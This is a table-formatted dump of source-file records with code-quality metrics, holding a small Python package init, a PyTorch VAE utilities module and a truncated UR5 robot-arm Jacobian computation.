hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
99c6d675f366bbc355ab790980b4656a2adb2219 | 131 | py | Python | machin/frame/noise/__init__.py | lorenzosteccanella/machin | 9d3ce87dbed820b5019211b0690b54613084d9e4 | [
"MIT"
] | 287 | 2020-06-13T05:19:50.000Z | 2022-03-31T04:46:32.000Z | machin/frame/noise/__init__.py | ikamensh/machin | af7b423c47bc1412530cf6c96c11bd3af9b3e239 | [
"MIT"
] | 19 | 2020-08-19T05:33:45.000Z | 2022-03-27T15:16:03.000Z | machin/frame/noise/__init__.py | ikamensh/machin | af7b423c47bc1412530cf6c96c11bd3af9b3e239 | [
"MIT"
] | 44 | 2020-07-06T00:41:44.000Z | 2022-03-29T17:05:08.000Z | from . import action_space_noise, generator, param_space_noise
__all__ = ["action_space_noise", "generator", "param_space_noise"]
| 32.75 | 66 | 0.801527 | 17 | 131 | 5.470588 | 0.470588 | 0.430108 | 0.344086 | 0.537634 | 0.860215 | 0.860215 | 0.860215 | 0 | 0 | 0 | 0 | 0 | 0.091603 | 131 | 3 | 67 | 43.666667 | 0.781513 | 0 | 0 | 0 | 0 | 0 | 0.335878 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 9 |
99c9f4cd08c5ccc5946507dd98cce554678a06fe | 41 | py | Python | python/helpers/pydev/tests_pydevd_python/_debugger_case_m_switch_2.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 695 | 2020-01-30T14:34:51.000Z | 2022-03-31T09:31:57.000Z | python/helpers/pydev/tests_pydevd_python/_debugger_case_m_switch_2.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 1,095 | 2018-03-01T00:50:11.000Z | 2019-05-06T17:44:15.000Z | python/helpers/pydev/tests_pydevd_python/_debugger_case_m_switch_2.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 66 | 2020-01-30T13:10:38.000Z | 2022-03-29T07:11:17.000Z | class ClassToBeImported(object):
pass | 20.5 | 32 | 0.780488 | 4 | 41 | 8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146341 | 41 | 2 | 33 | 20.5 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0.5 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
41647b1be4119244012c083c870aa93b3febc072 | 5,656 | py | Python | vae/utils.py | AntiAegis/PyTorch-GAN | 1cb951b3ad3a58b749c1802f84947b85f72c8367 | [
"MIT"
] | 1 | 2019-12-04T06:09:47.000Z | 2019-12-04T06:09:47.000Z | vae/utils.py | thuyngch/PyTorch-GAN | 1cb951b3ad3a58b749c1802f84947b85f72c8367 | [
"MIT"
] | null | null | null | vae/utils.py | thuyngch/PyTorch-GAN | 1cb951b3ad3a58b749c1802f84947b85f72c8367 | [
"MIT"
] | null | null | null | #------------------------------------------------------------------------------
# Libraries
#------------------------------------------------------------------------------
import numpy as np
from collections import OrderedDict
import torch
import torch.nn as nn
import torch.nn.functional as F
#------------------------------------------------------------------------------
# Loss function
#------------------------------------------------------------------------------
def loss_fn(recon_x, x, mu, logvar):
BCE = F.mse_loss(recon_x, x)
KLD = -0.5 * torch.mean(1 + logvar - mu.pow(2) - logvar.exp())
return BCE + KLD
#------------------------------------------------------------------------------
# VAE
#------------------------------------------------------------------------------
class VAE(nn.Module):
def __init__(self, in_dims=784, hid_dims=100, negative_slope=0.1):
super(VAE, self).__init__()
self.encoder = nn.Sequential(OrderedDict([
('layer1', nn.Linear(in_dims, 512)),
('relu1', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer2', nn.Linear(512, 256)),
('relu2', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer3', nn.Linear(256, 128)),
('relu3', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
]))
self.fc_mu = nn.Linear(128, hid_dims)
self.fc_var = nn.Linear(128, hid_dims)
self.decoder = nn.Sequential(OrderedDict([
('layer1', nn.Linear(hid_dims, 128)),
('relu1', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer2', nn.Linear(128, 256)),
('relu2', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer3', nn.Linear(256, 512)),
('relu3', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer4', nn.Linear(512, in_dims)),
('sigmoid', nn.Sigmoid()),
]))
self._init_weights()
def forward(self, x):
h = self.encoder(x)
mu, logvar = self.fc_mu(h), self.fc_var(h)
z = self.reparameterize(mu, logvar)
y = self.decoder(z)
return y, mu, logvar
def representation(self, x):
h = self.encoder(x)
mu, logvar = self.fc_mu(h), self.fc_var(h)
z = self.reparameterize(mu, logvar)
return z
def reparameterize(self, mu, logvar):
std = logvar.mul(0.5).exp_()
esp = torch.randn(*mu.size()).cuda()
z = mu + std * esp
return z
def _init_weights(self):
for m in self.modules():
if isinstance(m, nn.Linear):
m.weight.data.normal_(0, 0.01)
m.bias.data.zero_()
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zero_()
#------------------------------------------------------------------------------
# VAEGT
#------------------------------------------------------------------------------
class VAEGT(nn.Module):
def __init__(self, in_dims=784, hid_dims=100, negative_slope=0.1, num_classes=10):
super(VAEGT, self).__init__()
self.encoder = nn.Sequential(OrderedDict([
('layer1', nn.Linear(in_dims, 512)),
('relu1', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer2', nn.Linear(512, 256)),
('relu2', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer3', nn.Linear(256, 128)),
('relu3', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
]))
self.fc_mu = nn.Linear(128+num_classes, hid_dims)
self.fc_var = nn.Linear(128+num_classes, hid_dims)
self.decoder = nn.Sequential(OrderedDict([
('layer1', nn.Linear(hid_dims, 128)),
('relu1', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer2', nn.Linear(128, 256)),
('relu2', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer3', nn.Linear(256, 512)),
('relu3', nn.LeakyReLU(negative_slope=negative_slope, inplace=True)),
('layer4', nn.Linear(512, in_dims)),
('sigmoid', nn.Sigmoid()),
]))
self._init_weights()
def forward(self, x, y):
h = self.encoder(x)
hy = torch.cat([h, y], dim=1)
mu, logvar = self.fc_mu(h), self.fc_var(h)
z = self.reparameterize(mu, logvar)
y = self.decoder(z)
return y, mu, logvar
def representation(self, x):
h = self.encoder(x)
mu, logvar = self.fc_mu(h), self.fc_var(h)
z = self.reparameterize(mu, logvar)
return z
def reparameterize(self, mu, logvar):
std = logvar.mul(0.5).exp_()
esp = torch.randn(*mu.size()).cuda()
z = mu + std * esp
return z
def _init_weights(self):
for m in self.modules():
if isinstance(m, nn.Linear):
m.weight.data.normal_(0, 0.01)
m.bias.data.zero_()
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zero_()
#------------------------------------------------------------------------------
# ImproveChecker
#------------------------------------------------------------------------------
class ImproveChecker():
def __init__(self, mode='min', best_val=None):
assert mode in ['min', 'max']
self.mode = mode
if best_val is not None:
self.best_val = best_val
else:
if self.mode=='min':
self.best_val = np.inf
elif self.mode=='max':
self.best_val = 0.0
def check(self, val):
if self.mode=='min':
if val < self.best_val:
print("[%s] Improved from %.4f to %.4f" % (self.__class__.__name__, self.best_val, val))
self.best_val = val
return True
else:
print("[%s] Not improved from %.4f to %.4f" % (self.__class__.__name__, val, self.best_val))
return False
else:
if val > self.best_val:
print("[%s] Improved from %.4f to %.4f" % (self.__class__.__name__, self.best_val, val))
self.best_val = val
return True
else:
print("[%s] Not improved from %.4f to %.4f" % (self.__class__.__name__, val, self.best_val))
return False
| 32.136364 | 96 | 0.570545 | 741 | 5,656 | 4.161943 | 0.159244 | 0.109598 | 0.07393 | 0.093385 | 0.831712 | 0.831712 | 0.831712 | 0.831712 | 0.807717 | 0.807717 | 0 | 0.031553 | 0.14268 | 5,656 | 175 | 97 | 32.32 | 0.604455 | 0.147984 | 0 | 0.746269 | 0 | 0 | 0.064113 | 0 | 0 | 0 | 0 | 0 | 0.007463 | 1 | 0.097015 | false | 0 | 0.037313 | 0 | 0.238806 | 0.029851 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
417a8dc996efd0a245cb8a0e4c6a079c8dd56d2e | 59,183 | py | Python | ur5_resolved_rate/scripts/ur5_kinematics.py | nortega1/AutonomousChessPlayer | ff44a78bcd0c177d01517b39a515143b934a54c0 | [
"MIT"
] | null | null | null | ur5_resolved_rate/scripts/ur5_kinematics.py | nortega1/AutonomousChessPlayer | ff44a78bcd0c177d01517b39a515143b934a54c0 | [
"MIT"
] | null | null | null | ur5_resolved_rate/scripts/ur5_kinematics.py | nortega1/AutonomousChessPlayer | ff44a78bcd0c177d01517b39a515143b934a54c0 | [
"MIT"
] | null | null | null | import numpy as np
from math import cos, sin, pi
from numpy import dot
def jacobian(thetas):
t1 = thetas[0]
t2 = thetas[1]
t3 = thetas[2]
t4 = thetas[3]
t5 = thetas[4]
t6 = thetas[5]
J = np.zeros((6,6))
J[0][0] = 0.071524999999999999505950754041805*cos(t2 + t3 + t4 + t5 + t6) + 0.030374999999999999505950754041805*cos(t2 + t3 + t4 + t5 - 1.0*t6) + 0.024200000000000000494049245958195*cos(t2 + t3 + t4 - 1.0*t5 + t6) + 0.10625*sin(t2 + t5 + t6) - 0.016949999999999999505950754041805*cos(t2 + t3 + t4 - 1.0*t5 - 1.0*t6) + 0.10625*sin(t2 + t5 - 1.0*t6) - 0.10625*sin(t2 - 1.0*t5 + t6) - 0.10625*sin(t2 - 1.0*t5 - 1.0*t6) + 0.095725*cos(t2 + t3 + t4 + t6) + 0.0980625*sin(t2 + t3 + t5 + t6) - 0.013425*cos(t2 + t3 + t4 - 1.0*t6) + 0.0980625*sin(t2 + t3 + t5 - 1.0*t6) - 0.0980625*sin(t2 + t3 - 1.0*t5 + t6) - 0.0980625*sin(t2 + t3 - 1.0*t5 - 1.0*t6)
#J[0][1] = cos(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*((2183*sin(t1))/20000.0 - (17*cos(t1)*cos(t2))/40.0 + (823*cos(t5)*sin(t1))/10000.0 + (1569*cos(t1)*sin(t2)*sin(t3))/4000.0 - (1569*cos(t1)*cos(t2)*cos(t3))/4000.0 + (6820251275689879*cos(t1)*cos(t2)*cos(t3)*sin(t4))/72057594037927936.0 + (6820251275689879*cos(t1)*cos(t2)*cos(t4)*sin(t3))/72057594037927936.0 + (6820251275689879*cos(t1)*cos(t3)*cos(t4)*sin(t2))/72057594037927936.0 - (6820251275689879*cos(t1)*sin(t2)*sin(t3)*sin(t4))/72057594037927936.0 - (823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5))/10000.0 + (823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5))/10000.0 + (823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5))/10000.0 + (823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))/10000.0) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - sin(t2 + t3 + t4)*cos(t1)*sin(t6))*((6820251275689879*cos(t2 + t3 + t4))/72057594037927936.0 - (823*cos(t2 + t3 + t4 + t5))/20000.0 + (1569*sin(t2 + t3))/4000.0 + (17*sin(t2))/40.0 + (823*cos(t2 + t3 + t4 - t5))/20000.0 - 6424583026827617/72057594037927936.0)) - sin(t1)*((cos(t6)*(cos(t1)*sin(t5) - cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*((6820251275689879*cos(t2 + t3 + t4))/72057594037927936.0 - (823*cos(t2 + t3 + t4 + t5))/20000.0 + (1569*sin(t2 + t3))/4000 + (17*sin(t2))/40 + (823*cos(t2 + t3 + t4 - t5))/20000 - 6424583026827617/72057594037927936) + (cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*((1569*sin(t1)*sin(t2)*sin(t3))/4000 - (823*cos(t1)*cos(t5))/10000 - (17*cos(t2)*sin(t1))/40 - (2183*cos(t1))/20000 - (1569*cos(t2)*cos(t3)*sin(t1))/4000 + (6820251275689879*cos(t2)*cos(t3)*sin(t1)*sin(t4))/72057594037927936 + (6820251275689879*cos(t2)*cos(t4)*sin(t1)*sin(t3))/72057594037927936 + (6820251275689879*cos(t3)*cos(t4)*sin(t1)*sin(t2))/72057594037927936 - (6820251275689879*sin(t1)*sin(t2)*sin(t3)*sin(t4))/72057594037927936 - (823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5))/10000 + (823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5))/10000 + (823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5))/10000 + (823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))/10000)) + (6424583026827617*cos(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - sin(t2 + t3 + t4)*cos(t1)*sin(t6)))/72057594037927936 - (6424583026827617*sin(t1)*(cos(t6)*(cos(t1)*sin(t5) - cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6)))/72057594037927936
J[0][1] = 0.089159000000000002139621813057602*cos(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6)) + cos(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602)) - 0.089159000000000002139621813057602*sin(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6)) - 1.0*sin(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602))
J[0][2] = 0.425*cos(t2)*(cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6)) + cos(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602)) - 1.0*sin(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602)) - 0.0000000000000000027755575615628913510590791702271*cos(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(153122387330596864.0*sin(t2) - 32122915134138085.0) + 0.0000000000000000027755575615628913510590791702271*sin(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(153122387330596864.0*sin(t2) - 32122915134138085.0)
J[0][3] = cos(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602)) - 1.0*sin(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602)) + (cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.39225*cos(t2 + t3) + 0.425*cos(t2)) - 0.00000000000000000011102230246251565404236316680908*cos(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(3533073907672154112.0*sin(t2 + t3) + 3828059683264921600.0*sin(t2) - 803072878353452125.0) + 